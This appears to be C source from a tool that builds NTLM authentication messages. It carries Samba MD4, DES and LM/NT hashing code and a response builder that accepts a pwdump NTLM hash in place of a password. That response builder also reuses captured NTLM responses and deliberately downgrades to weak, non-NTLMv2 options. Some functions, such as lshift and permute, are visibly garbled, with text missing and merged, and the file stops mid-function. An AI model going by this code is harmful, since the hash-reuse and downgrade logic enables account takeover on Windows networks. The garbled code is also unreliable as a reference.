SSVALS(buf,pos,SREV(val)) +#define RSIVAL(buf,pos,val) SIVAL(buf,pos,IREV(val)) +#define RSIVALS(buf,pos,val) SIVALS(buf,pos,IREV(val)) + +/* reads multiple data from an SMB buffer (big-endian) */ +#define RPSVAL(buf,pos,val,len) SMBMACRO(RSVAL,buf,pos,val,len,2) +#define RPIVAL(buf,pos,val,len) SMBMACRO(RIVAL,buf,pos,val,len,4) +#define RPSVALS(buf,pos,val,len) SMBMACRO(RSVALS,buf,pos,val,len,2) +#define RPIVALS(buf,pos,val,len) SMBMACRO(RIVALS,buf,pos,val,len,4) + +/* stores multiple data in an SMB buffer (big-endian) */ +#define RPSSVAL(buf,pos,val,len) SSMBMACRO(RSSVAL,buf,pos,val,len,2) +#define RPSIVAL(buf,pos,val,len) SSMBMACRO(RSIVAL,buf,pos,val,len,4) +#define RPSSVALS(buf,pos,val,len) SSMBMACRO(RSSVALS,buf,pos,val,len,2) +#define RPSIVALS(buf,pos,val,len) SSMBMACRO(RSIVALS,buf,pos,val,len,4) + +#define DBG_RW_PCVAL(charmode,string,depth,base,read,inbuf,outbuf,len) \ + { RW_PCVAL(read,inbuf,outbuf,len) \ + DEBUG(5,("%s%04x %s: ", \ + tab_depth(depth), base,string)); \ + if (charmode) print_asc(5, (unsigned char*)(outbuf), (len)); else \ + { int idx; for (idx = 0; idx < len; idx++) { DEBUG(5,("%02x ", (outbuf)[idx])); } } \ + DEBUG(5,("\n")); } + +#define DBG_RW_PSVAL(charmode,string,depth,base,read,big_endian,inbuf,outbuf,len) \ + { RW_PSVAL(read,big_endian,inbuf,outbuf,len) \ + DEBUG(5,("%s%04x %s: ", \ + tab_depth(depth), base,string)); \ + if (charmode) print_asc(5, (unsigned char*)(outbuf), 2*(len)); else \ + { int idx; for (idx = 0; idx < len; idx++) { DEBUG(5,("%04x ", (outbuf)[idx])); } } \ + DEBUG(5,("\n")); } + +#define DBG_RW_PIVAL(charmode,string,depth,base,read,big_endian,inbuf,outbuf,len) \ + { RW_PIVAL(read,big_endian,inbuf,outbuf,len) \ + DEBUG(5,("%s%04x %s: ", \ + tab_depth(depth), base,string)); \ + if (charmode) print_asc(5, (unsigned char*)(outbuf), 4*(len)); else \ + { int idx; for (idx = 0; idx < len; idx++) { DEBUG(5,("%08x ", (outbuf)[idx])); } } \ + DEBUG(5,("\n")); } + +#define DBG_RW_CVAL(string,depth,base,read,inbuf,outbuf) \ + { RW_CVAL(read,inbuf,outbuf,0) \ + DEBUG(5,("%s%04x %s: %02x\n", \ + tab_depth(depth), base, string, outbuf)); } + +#define DBG_RW_SVAL(string,depth,base,read,big_endian,inbuf,outbuf) \ + { RW_SVAL(read,big_endian,inbuf,outbuf,0) \ + DEBUG(5,("%s%04x %s: %04x\n", \ + tab_depth(depth), base, string, outbuf)); } + +#define DBG_RW_IVAL(string,depth,base,read,big_endian,inbuf,outbuf) \ + { RW_IVAL(read,big_endian,inbuf,outbuf,0) \ + DEBUG(5,("%s%04x %s: %08x\n", \ + tab_depth(depth), base, string, outbuf)); } + +#endif /* _BYTEORDER_H */ + + +/* Samba MD4 implementation */ +/* NOTE: This code makes no attempt to be fast! + + It assumes that a int is at least 32 bits long +*/ + +static uint32 A, B, C, D; + +static uint32 F(uint32 X, uint32 Y, uint32 Z) +{ + return (X&Y) | ((~X)&Z); +} + +static uint32 G(uint32 X, uint32 Y, uint32 Z) +{ + return (X&Y) | (X&Z) | (Y&Z); +} + +static uint32 H(uint32 X, uint32 Y, uint32 Z) +{ + return X^Y^Z; +} + +static uint32 lshift(uint32 x, int s) +{ + x &= 0xFFFFFFFF; + return ((x<>(32-s)); +} + +#define ROUND1(a,b,c,d,k,s) a = lshift(a + F(b,c,d) + X[k], s) +#define ROUND2(a,b,c,d,k,s) a = lshift(a + G(b,c,d) + X[k] + (uint32)0x5A827999,s) +#define ROUND3(a,b,c,d,k,s) a = lshift(a + H(b,c,d) + X[k] + (uint32)0x6ED9EBA1,s) + +/* this applies md4 to 64 byte chunks */ +static void mdfour64(uint32 *M) +{ + int j; + uint32 AA, BB, CC, DD; + uint32 X[16]; + + for (j=0;j<16;j++) + X[j] = M[j]; + + AA = A; BB = B; CC = C; DD = D; + + ROUND1(A,B,C,D, 0, 3); ROUND1(D,A,B,C, 1, 7); + ROUND1(C,D,A,B, 2, 11); ROUND1(B,C,D,A, 3, 19); + ROUND1(A,B,C,D, 4, 3); ROUND1(D,A,B,C, 5, 7); + ROUND1(C,D,A,B, 6, 11); ROUND1(B,C,D,A, 7, 19); + ROUND1(A,B,C,D, 8, 3); ROUND1(D,A,B,C, 9, 7); + ROUND1(C,D,A,B, 10, 11); ROUND1(B,C,D,A, 11, 19); + ROUND1(A,B,C,D, 12, 3); ROUND1(D,A,B,C, 13, 7); + ROUND1(C,D,A,B, 14, 11); ROUND1(B,C,D,A, 15, 19); + + ROUND2(A,B,C,D, 0, 3); ROUND2(D,A,B,C, 4, 5); + ROUND2(C,D,A,B, 8, 9); ROUND2(B,C,D,A, 12, 13); + ROUND2(A,B,C,D, 1, 3); ROUND2(D,A,B,C, 5, 5); + ROUND2(C,D,A,B, 9, 9); ROUND2(B,C,D,A, 13, 13); + ROUND2(A,B,C,D, 2, 3); ROUND2(D,A,B,C, 6, 5); + ROUND2(C,D,A,B, 10, 9); ROUND2(B,C,D,A, 14, 13); + ROUND2(A,B,C,D, 3, 3); ROUND2(D,A,B,C, 7, 5); + ROUND2(C,D,A,B, 11, 9); ROUND2(B,C,D,A, 15, 13); + + ROUND3(A,B,C,D, 0, 3); ROUND3(D,A,B,C, 8, 9); + ROUND3(C,D,A,B, 4, 11); ROUND3(B,C,D,A, 12, 15); + ROUND3(A,B,C,D, 2, 3); ROUND3(D,A,B,C, 10, 9); + ROUND3(C,D,A,B, 6, 11); ROUND3(B,C,D,A, 14, 15); + ROUND3(A,B,C,D, 1, 3); ROUND3(D,A,B,C, 9, 9); + ROUND3(C,D,A,B, 5, 11); ROUND3(B,C,D,A, 13, 15); + ROUND3(A,B,C,D, 3, 3); ROUND3(D,A,B,C, 11, 9); + ROUND3(C,D,A,B, 7, 11); ROUND3(B,C,D,A, 15, 15); + + A += AA; B += BB; C += CC; D += DD; + + A &= 0xFFFFFFFF; B &= 0xFFFFFFFF; + C &= 0xFFFFFFFF; D &= 0xFFFFFFFF; + + for (j=0;j<16;j++) + X[j] = 0; +} + +static void copy64(uint32 *M, unsigned char *in) +{ + int i; + + for (i=0;i<16;i++) + M[i] = (in[i*4+3]<<24) | (in[i*4+2]<<16) | + (in[i*4+1]<<8) | (in[i*4+0]<<0); +} + +static void copy4(unsigned char *out,uint32 x) +{ + out[0] = x&0xFF; + out[1] = (x>>8)&0xFF; + out[2] = (x>>16)&0xFF; + out[3] = (x>>24)&0xFF; +} + +/* produce a md4 message digest from data of length n bytes */ +void mdfour(unsigned char *out, unsigned char *in, int n) +{ + unsigned char buf[128]; + uint32 M[16]; + uint32 b = n * 8; + int i; + + A = 0x67452301; + B = 0xefcdab89; + C = 0x98badcfe; + D = 0x10325476; + + while (n > 64) { + copy64(M, in); + mdfour64(M); + in += 64; + n -= 64; + } + + for (i=0;i<128;i++) + buf[i] = 0; + memcpy(buf, in, n); + buf[n] = 0x80; + + if (n <= 55) { + copy4(buf+56, b); + copy64(M, buf); + mdfour64(M); + } else { + copy4(buf+120, b); + copy64(M, buf); + mdfour64(M); + copy64(M, buf+64); + mdfour64(M); + } + + for (i=0;i<128;i++) + buf[i] = 0; + copy64(M, buf); + + copy4(out, A); + copy4(out+4, B); + copy4(out+8, C); + copy4(out+12, D); + + A = B = C = D = 0; +} + + +/* Samba DES implementation */ +#define uchar unsigned char +#define int16 signed short +typedef int BOOL; +#define False 0 +#define True 1 + +static uchar perm1[56] = {57, 49, 41, 33, 25, 17, 9, + 1, 58, 50, 42, 34, 26, 18, + 10, 2, 59, 51, 43, 35, 27, + 19, 11, 3, 60, 52, 44, 36, + 63, 55, 47, 39, 31, 23, 15, + 7, 62, 54, 46, 38, 30, 22, + 14, 6, 61, 53, 45, 37, 29, + 21, 13, 5, 28, 20, 12, 4}; + +static uchar perm2[48] = {14, 17, 11, 24, 1, 5, + 3, 28, 15, 6, 21, 10, + 23, 19, 12, 4, 26, 8, + 16, 7, 27, 20, 13, 2, + 41, 52, 31, 37, 47, 55, + 30, 40, 51, 45, 33, 48, + 44, 49, 39, 56, 34, 53, + 46, 42, 50, 36, 29, 32}; + +static uchar perm3[64] = {58, 50, 42, 34, 26, 18, 10, 2, + 60, 52, 44, 36, 28, 20, 12, 4, + 62, 54, 46, 38, 30, 22, 14, 6, + 64, 56, 48, 40, 32, 24, 16, 8, + 57, 49, 41, 33, 25, 17, 9, 1, + 59, 51, 43, 35, 27, 19, 11, 3, + 61, 53, 45, 37, 29, 21, 13, 5, + 63, 55, 47, 39, 31, 23, 15, 7}; + +static uchar perm4[48] = { 32, 1, 2, 3, 4, 5, + 4, 5, 6, 7, 8, 9, + 8, 9, 10, 11, 12, 13, + 12, 13, 14, 15, 16, 17, + 16, 17, 18, 19, 20, 21, + 20, 21, 22, 23, 24, 25, + 24, 25, 26, 27, 28, 29, + 28, 29, 30, 31, 32, 1}; + +static uchar perm5[32] = { 16, 7, 20, 21, + 29, 12, 28, 17, + 1, 15, 23, 26, + 5, 18, 31, 10, + 2, 8, 24, 14, + 32, 27, 3, 9, + 19, 13, 30, 6, + 22, 11, 4, 25}; + + +static uchar perm6[64] ={ 40, 8, 48, 16, 56, 24, 64, 32, + 39, 7, 47, 15, 55, 23, 63, 31, + 38, 6, 46, 14, 54, 22, 62, 30, + 37, 5, 45, 13, 53, 21, 61, 29, + 36, 4, 44, 12, 52, 20, 60, 28, + 35, 3, 43, 11, 51, 19, 59, 27, + 34, 2, 42, 10, 50, 18, 58, 26, + 33, 1, 41, 9, 49, 17, 57, 25}; + + +static uchar sc[16] = {1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1}; + +static uchar sbox[8][4][16] = { + {{14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7}, + {0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8}, + {4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0}, + {15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13}}, + + {{15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10}, + {3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5}, + {0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15}, + {13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9}}, + + {{10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8}, + {13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1}, + {13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7}, + {1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12}}, + + {{7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15}, + {13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9}, + {10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4}, + {3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14}}, + + {{2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9}, + {14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6}, + {4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14}, + {11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3}}, + + {{12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11}, + {10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8}, + {9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6}, + {4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13}}, + + {{4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1}, + {13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6}, + {1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2}, + {6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12}}, + + {{13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7}, + {1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2}, + {7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8}, + {2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11}}}; + +static void permute(char *out, char *in, uchar *p, int n) +{ + int i; + for (i=0;i>1; + key[1] = ((str[0]&0x01)<<6) | (str[1]>>2); + key[2] = ((str[1]&0x03)<<5) | (str[2]>>3); + key[3] = ((str[2]&0x07)<<4) | (str[3]>>4); + key[4] = ((str[3]&0x0F)<<3) | (str[4]>>5); + key[5] = ((str[4]&0x1F)<<2) | (str[5]>>6); + key[6] = ((str[5]&0x3F)<<1) | (str[6]>>7); + key[7] = str[6]&0x7F; + for (i=0;i<8;i++) { + key[i] = (key[i]<<1); + } +} + + +static void smbhash(unsigned char *out, unsigned char *in, unsigned char *key, int forw) +{ + int i; + char outb[64]; + char inb[64]; + char keyb[64]; + unsigned char key2[8]; + + str_to_key(key, key2); + + for (i=0;i<64;i++) { + inb[i] = (in[i/8] & (1<<(7-(i%8)))) ? 1 : 0; + keyb[i] = (key2[i/8] & (1<<(7-(i%8)))) ? 1 : 0; + outb[i] = 0; + } + + dohash(outb, inb, keyb, forw); + + for (i=0;i<8;i++) { + out[i] = 0; + } + + for (i=0;i<64;i++) { + if (outb[i]) + out[i/8] |= (1<<(7-(i%8))); + } +} + +void E_P16(unsigned char *p14,unsigned char *p16) +{ + unsigned char sp8[8] = {0x4b, 0x47, 0x53, 0x21, 0x40, 0x23, 0x24, 0x25}; + smbhash(p16, sp8, p14, 1); + smbhash(p16+8, sp8, p14+7, 1); +} + +void E_P24(unsigned char *p21, unsigned char *c8, unsigned char *p24) +{ + smbhash(p24, c8, p21, 1); + smbhash(p24+8, c8, p21+7, 1); + smbhash(p24+16, c8, p21+14, 1); +} + +void D_P16(unsigned char *p14, unsigned char *in, unsigned char *out) +{ + smbhash(out, in, p14, 0); + smbhash(out+8, in+8, p14+7, 0); +} + +void E_old_pw_hash( unsigned char *p14, unsigned char *in, unsigned char *out) +{ + smbhash(out, in, p14, 1); + smbhash(out+8, in+8, p14+7, 1); +} + +void cred_hash1(unsigned char *out,unsigned char *in,unsigned char *key) +{ + unsigned char buf[8]; + + smbhash(buf, in, key, 1); + smbhash(out, buf, key+9, 1); +} + +void cred_hash2(unsigned char *out,unsigned char *in,unsigned char *key) +{ + unsigned char buf[8]; + static unsigned char key2[8]; + + smbhash(buf, in, key, 1); + key2[0] = key[7]; + smbhash(out, buf, key2, 1); +} + +void cred_hash3(unsigned char *out,unsigned char *in,unsigned char *key, int forw) +{ + static unsigned char key2[8]; + + smbhash(out, in, key, forw); + key2[0] = key[7]; + smbhash(out + 8, in + 8, key2, forw); +} + +void SamOEMhash( unsigned char *data, unsigned char *key, int val) +{ + unsigned char s_box[256]; + unsigned char index_i = 0; + unsigned char index_j = 0; + unsigned char j = 0; + int ind; + + for (ind = 0; ind < 256; ind++) + { + s_box[ind] = (unsigned char)ind; + } + + for( ind = 0; ind < 256; ind++) + { + unsigned char tc; + + j += (s_box[ind] + key[ind%16]); + + tc = s_box[ind]; + s_box[ind] = s_box[j]; + s_box[j] = tc; + } + for( ind = 0; ind < (val ? 516 : 16); ind++) + { + unsigned char tc; + unsigned char t; + + index_i++; + index_j += s_box[index_i]; + + tc = s_box[index_i]; + s_box[index_i] = s_box[index_j]; + s_box[index_j] = tc; + + t = s_box[index_i] + s_box[index_j]; + data[ind] = data[ind] ^ s_box[t]; + } +} + +/* Samba encryption implementation*/ + + +/**************************************************************************** + Like strncpy but always null terminates. Make sure there is room! + The variable n should always be one less than the available size. +****************************************************************************/ + +char *StrnCpy(char *dest,const char *src, size_t n) +{ + char *d = dest; + if (!dest) return(NULL); + if (!src) { + *dest = 0; + return(dest); + } + while (n-- && (*d++ = *src++)) ; + *d = 0; + return(dest); +} + +size_t skip_multibyte_char(char c) +{ +return 0; +} + + +/******************************************************************* +safe string copy into a known length string. maxlength does not +include the terminating zero. +********************************************************************/ +#define DEBUG(a,b) ; +char *safe_strcpy(char *dest,const char *src, size_t maxlength) +{ + size_t len; + + if (!dest) { + DEBUG(0,("ERROR: NULL dest in safe_strcpy\n")); + return NULL; + } + + if (!src) { + *dest = 0; + return dest; + } + + len = strlen(src); + + if (len > maxlength) { + DEBUG(0,("ERROR: string overflow by %d in safe_strcpy [%.50s]\n", + (int)(len-maxlength), src)); + len = maxlength; + } + + memcpy(dest, src, len); + dest[len] = 0; + return dest; +} + + +void strupper(char *s) +{ +while (*s) + { + { + size_t skip = skip_multibyte_char( *s ); + if( skip != 0 ) + s += skip; + else + { + if (islower(*s)) + *s = toupper(*s); + s++; + } + } + } +} + +extern void SMBOWFencrypt(uchar passwd[16], uchar *c8, uchar p24[24]); + +/* + This implements the X/Open SMB password encryption + It takes a password, a 8 byte "crypt key" and puts 24 bytes of + encrypted password into p24 + */ + +void SMBencrypt(uchar *passwd, uchar *c8, uchar *p24) + { + uchar p14[15], p21[21]; + + memset(p21,'\0',21); + memset(p14,'\0',14); + StrnCpy((char *)p14,(char *)passwd,14); + + strupper((char *)p14); + E_P16(p14, p21); + + SMBOWFencrypt(p21, c8, p24); + +#ifdef DEBUG_PASSWORD + DEBUG(100,("SMBencrypt: lm#, challenge, response\n")); + dump_data(100, (char *)p21, 16); + dump_data(100, (char *)c8, 8); + dump_data(100, (char *)p24, 24); +#endif + } + +/* Routines for Windows NT MD4 Hash functions. */ +static int _my_wcslen(int16 *str) +{ + int len = 0; + while(*str++ != 0) + len++; + return len; +} + +/* + * Convert a string into an NT UNICODE string. + * Note that regardless of processor type + * this must be in intel (little-endian) + * format. + */ + +static int _my_mbstowcs(int16 *dst, uchar *src, int len) +{ + int i; + int16 val; + + for(i = 0; i < len; i++) { + val = *src; + SSVAL(dst,0,val); + dst++; + src++; + if(val == 0) + break; + } + return i; +} + +/* + * Creates the MD4 Hash of the users password in NT UNICODE. + */ + +void E_md4hash(uchar *passwd, uchar *p16) +{ + int len; + int16 wpwd[129]; + + /* Password cannot be longer than 128 characters */ + len = (int) strlen((char *)passwd); + if(len > 128) + len = 128; + /* Password must be converted to NT unicode */ + _my_mbstowcs(wpwd, passwd, len); + wpwd[len] = 0; /* Ensure string is null terminated */ + /* Calculate length in bytes */ + len = _my_wcslen(wpwd) * sizeof(int16); + + mdfour(p16, (unsigned char *)wpwd, len); +} + +/* Does both the NT and LM owfs of a user's password */ +void nt_lm_owf_gen(char *pwd, uchar nt_p16[16], uchar p16[16]) +{ + char passwd[130]; + + memset(passwd,'\0',130); + safe_strcpy( passwd, pwd, sizeof(passwd)-1); + + /* Calculate the MD4 hash (NT compatible) of the password */ + memset(nt_p16, '\0', 16); + E_md4hash((uchar *)passwd, nt_p16); + +#ifdef DEBUG_PASSWORD + DEBUG(100,("nt_lm_owf_gen: pwd, nt#\n")); + dump_data(120, passwd, strlen(passwd)); + dump_data(100, (char *)nt_p16, 16); +#endif + + /* Mangle the passwords into Lanman format */ + passwd[14] = '\0'; + strupper(passwd); + + /* Calculate the SMB (lanman) hash functions of the password */ + + memset(p16, '\0', 16); + E_P16((uchar *) passwd, (uchar *)p16); + +#ifdef DEBUG_PASSWORD + DEBUG(100,("nt_lm_owf_gen: pwd, lm#\n")); + dump_data(120, passwd, strlen(passwd)); + dump_data(100, (char *)p16, 16); +#endif + /* clear out local copy of user's password (just being paranoid). */ + memset(passwd, '\0', sizeof(passwd)); +} + +/* Does the des encryption from the NT or LM MD4 hash. */ +void SMBOWFencrypt(uchar passwd[16], uchar *c8, uchar p24[24]) +{ + uchar p21[21]; + + memset(p21,'\0',21); + + memcpy(p21, passwd, 16); + E_P24(p21, c8, p24); +} + +/* Does the des encryption from the FIRST 8 BYTES of the NT or LM MD4 hash. */ +void NTLMSSPOWFencrypt(uchar passwd[8], uchar *ntlmchalresp, uchar p24[24]) +{ + uchar p21[21]; + + memset(p21,'\0',21); + memcpy(p21, passwd, 8); + memset(p21 + 8, 0xbd, 8); + + E_P24(p21, ntlmchalresp, p24); +#ifdef DEBUG_PASSWORD + DEBUG(100,("NTLMSSPOWFencrypt: p21, c8, p24\n")); + dump_data(100, (char *)p21, 21); + dump_data(100, (char *)ntlmchalresp, 8); + dump_data(100, (char *)p24, 24); +#endif +} + + +/* Does the NT MD4 hash then des encryption. */ + +void SMBNTencrypt(uchar *passwd, uchar *c8, uchar *p24) +{ + uchar p21[21]; + + memset(p21,'\0',21); + + E_md4hash(passwd, p21); + SMBOWFencrypt(p21, c8, p24); + +#ifdef DEBUG_PASSWORD + DEBUG(100,("SMBNTencrypt: nt#, challenge, response\n")); + dump_data(100, (char *)p21, 16); + dump_data(100, (char *)c8, 8); + dump_data(100, (char *)p24, 24); +#endif +} + +#if 0 + +BOOL make_oem_passwd_hash(char data[516], const char *passwd, uchar old_pw_hash[16], BOOL unicode) +{ + int new_pw_len = strlen(passwd) * (unicode ? 2 : 1); + + if (new_pw_len > 512) + { + DEBUG(0,("make_oem_passwd_hash: new password is too long.\n")); + return False; + } + + /* + * Now setup the data area. + * We need to generate a random fill + * for this area to make it harder to + * decrypt. JRA. + */ + generate_random_buffer((unsigned char *)data, 516, False); + if (unicode) + { + struni2( &data[512 - new_pw_len], passwd); + } + else + { + fstrcpy( &data[512 - new_pw_len], passwd); + } + SIVAL(data, 512, new_pw_len); + +#ifdef DEBUG_PASSWORD + DEBUG(100,("make_oem_passwd_hash\n")); + dump_data(100, data, 516); +#endif + SamOEMhash( (unsigned char *)data, (unsigned char *)old_pw_hash, True); + + return True; +} + +#endif + +/* libtnlm copyrigth was left here, anyway the interface was slightly modified */ +/* included libntlm-3.2.9 (c) even if this code is based in 2.1 version*/ +/* +Libntlm AUTHORS -- information about the authors +Copyright (C) 2002, 2003, 2004 Simon Josefsson +See the end for copying conditions. + +Grant Edwards +Original author of libntlm + +Andrew Tridgell +Wrote functions borrowed from SMB. + +Simon Josefsson +Build environment, maintainer. + +Frediano Ziglio +Contributed LGPL versions of some of the GPL'd Samba files. +*/ + +/* The [IS]VAL macros are to take care of byte order for non-Intel + * Machines -- I think this file is OK, but it hasn't been tested. + * The other files (the ones stolen from Samba) should be OK. + * I am not crazy about these macros -- they seem to have gotten + * a bit complex. A new scheme for handling string/buffer fields + * in the structures probably needs to be designed + */ + + +/*SIVAL(&ptr->header.offset,0,((ptr->buffer - ((uint8*)ptr)) + ptr->bufIndex)); \*/ + +#define AddBytes(ptr, header, buf, count) \ +{ \ +if (buf && count) \ + { \ + SSVAL(&ptr->header.len,0,count); \ + SSVAL(&ptr->header.maxlen,0,count); \ + SIVAL(&ptr->header.offset,0,((ptr->buffer - ((uint8*)ptr)) + ptr->bufIndex)); \ + memcpy(ptr->buffer+ptr->bufIndex, buf, count); \ + ptr->bufIndex += count; \ + } \ +else \ + { \ + ptr->header.len = \ + ptr->header.maxlen = 0; \ + SIVAL(&ptr->header.offset,0,ptr->bufIndex); \ + } \ +} + +#define AddString(ptr, header, string) \ +{ \ +char *p = string; \ +int len = 0; \ +if (p) len = strlen(p); \ +AddBytes(ptr, header, ((unsigned char*)p), len); \ +} + +#define AddUnicodeString(ptr, header, string) \ +{ \ +char *p = string; \ +unsigned char *b = NULL; \ +int len = 0; \ +if (p) \ + { \ + len = strlen(p); \ + b = strToUnicode(p); \ + } \ +AddBytes(ptr, header, b, len*2); \ +} + + +#define GetUnicodeString(structPtr, header) \ +unicodeToString(((char*)structPtr) + IVAL(&structPtr->header.offset,0) , SVAL(&structPtr->header.len,0)/2) +#define GetString(structPtr, header) \ +toString((((char *)structPtr) + IVAL(&structPtr->header.offset,0)), SVAL(&structPtr->header.len,0)) +#define DumpBuffer(fp, structPtr, header) \ +dumpRaw(fp,((unsigned char*)structPtr)+IVAL(&structPtr->header.offset,0),SVAL(&structPtr->header.len,0)) + + +static void dumpRaw(FILE *fp, unsigned char *buf, size_t len) + { + int i; + + for (i=0; i<(signed int)len; ++i) + printf("%02x ",buf[i]); + + printf("\n"); + } + +static char *unicodeToString(char *p, size_t len) + { + int i; + static char buf[16384]; + + assert(len+1 < sizeof buf); + + for (i=0; i<(signed int)len; ++i) + { + buf[i] = *p & 0x7f; + p += 2; + } + + buf[i] = '\0'; + return buf; + } + +static unsigned char *strToUnicode(char *p) + { + static unsigned char buf[16384]; + size_t l = strlen(p); + int i = 0; + + assert(l*2 < sizeof buf); + + while (l--) + { + buf[i++] = *p++; + buf[i++] = 0; + } + + return buf; + } + +static unsigned char *toString(char *p, size_t len) + { + static unsigned char buf[16384]; + + assert(len+1 < sizeof buf); + + memcpy(buf,p,len); + buf[len] = 0; + return buf; + } + + + + +void BuildAuthRequest(tSmbNtlmAuthRequest *request, long flags, char *host, char *domain) + { + char *h = NULL;//strdup(host); + char *p = NULL;//strchr(h,'@'); + //TODO: review default flags + + if (host == NULL) host = ""; + if (domain == NULL) domain = ""; + + h = _strdup(host); + p = strchr(h,'@'); + if (p) + { + if (!domain) + domain = p+1; + *p = '\0'; + } + if (flags ==0) flags = 0x0000b207; /* Lowest security options to avoid negotiation */ + request->bufIndex = 0; + memcpy(request->ident,"NTLMSSP\0\0\0",8); + SIVAL(&request->msgType,0,1); + SIVAL(&request->flags,0,flags); + + assert(strlen(host) < 128); + AddString(request,host,h); + assert(strlen(domain) < 128); + AddString(request,domain,domain); + free(h); + } + + #include //MD4_CTX + #include //des_key_schedule + #ifdef WIN32 + #pragma comment(lib, "libeay32.lib") + #pragma comment(lib, "ssleay32.lib") + #endif + +/* +* turns a 56 bit key into the 64 bit, odd parity key and sets the key. +* The key schedule ks is also set. +*/ +void setup_des_key(unsigned char key_56[], des_key_schedule ksch){ +des_cblock key; + + key[0] = key_56[0]; + key[1] = ((key_56[0] << 7) & 0xFF) | (key_56[1] >> 1); + key[2] = ((key_56[1] << 6) & 0xFF) | (key_56[2] >> 2); + key[3] = ((key_56[2] << 5) & 0xFF) | (key_56[3] >> 3); + key[4] = ((key_56[3] << 4) & 0xFF) | (key_56[4] >> 4); + key[5] = ((key_56[4] << 3) & 0xFF) | (key_56[5] >> 5); + key[6] = ((key_56[5] << 2) & 0xFF) | (key_56[6] >> 6); + key[7] = (key_56[6] << 1) & 0xFF; + + des_set_odd_parity(&key); + des_set_key(&key, ksch); +} + + /* + * takes a 21 byte array and treats it as 3 56-bit DES keys. The + * 8 byte plaintext is encrypted with each key and the resulting 24 + * bytes are stored in the results array. + */ +void calc_resp(unsigned char *keys, unsigned char *plaintext, unsigned char *results){ +des_key_schedule ks; + + setup_des_key(keys, ks); + des_ecb_encrypt((des_cblock*) plaintext, (des_cblock*) results, ks, DES_ENCRYPT); + + setup_des_key(keys+7, ks); + des_ecb_encrypt((des_cblock*) plaintext, (des_cblock*) (results+8), ks, DES_ENCRYPT); + + setup_des_key(keys+14, ks); + des_ecb_encrypt((des_cblock*) plaintext, (des_cblock*) (results+16), ks, DES_ENCRYPT); +} +void buildAuthResponse(tSmbNtlmAuthChallenge *challenge, tSmbNtlmAuthResponse *response, long flags, char *user, char *password, char *domainname, char *host, tSmbNtlmAuthResponse* OptionalNtlmPacket3) + { + + //TODO: AADIR FLAGS! + + uint8 lmRespData[24]; + uint8 ntRespData[24]; + char *u = _strdup(user); + char *p = strchr(u,'@'); + char *w = NULL; + char *d = _strdup(GetUnicodeString(challenge,uDomain)); + char *domain = d; + if ((domainname!= NULL) && (strlen(domainname)>0) ) domain = domainname; + + + if (host == NULL) host = ""; + w = _strdup(host); + + if (p) + { + domain = p+1; + *p = '\0'; + } else { + p = strchr(u,'\\'); + if (p) { + domain=u; + u= _strdup(p+1); + p[0]='\0'; + } + } + //if (!domain) domain=""; + + if (OptionalNtlmPacket3==NULL) { + if (*password!=':') + { + //Create New LM and ntLM network Hash from password + SMBencrypt((uchar*)password, challenge->challengeData, lmRespData); + SMBNTencrypt((uchar*)password, challenge->challengeData, ntRespData); + } else { + //create LM and ntLM network Hash from pwdump NTLM Hash + unsigned char hash[21]; + int i; + char n,tmp[3]; + tmp[2]='\0'; + for(i=0;i<16;i++){ + memcpy(tmp,password+i*2+1,2); + hash[i]=n=strtol(tmp, 0, 16); + } + memset(hash+16,0,5); + SMBOWFencrypt((unsigned char*)hash, challenge->challengeData, ntRespData); + memcpy(lmRespData,ntRespData,sizeof(ntRespData)); + } + } else { + + #define ChallengeHash( structPtr, header) ((unsigned char*)structPtr)+IVAL(&structPtr->header.offset,0) + memcpy(lmRespData,ChallengeHash(OptionalNtlmPacket3,lmResponse),sizeof(lmRespData)); + //HACK to avoid NTLMv2 + if (OptionalNtlmPacket3->ntResponse.len>24) { + printf("\n\nWARNING NTLMV2 packet\n\n"); + 